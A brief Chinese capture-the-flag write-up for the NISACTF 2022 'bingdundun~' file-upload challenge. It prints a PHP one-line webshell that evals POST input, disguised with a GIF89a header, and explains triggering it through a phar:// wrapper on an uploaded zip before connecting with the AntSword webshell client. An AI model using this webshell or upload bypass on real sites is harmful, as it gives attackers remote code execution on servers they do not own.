文件上传

[NISACTF 2022]bingdundun~

该题用到了解压缩的伪协议

GIF89a
<?php
phpinfo();
eval($_POST['a']);
?>

先整个一句话木马test.php，待会儿上传用

将test压缩为zip之后上传，payload为http://node5.anna.nssctf.cn:25266/?bingdundun=phar://xxxxxxxxxxxxxxx.zip/test

之后蚁剑连接即可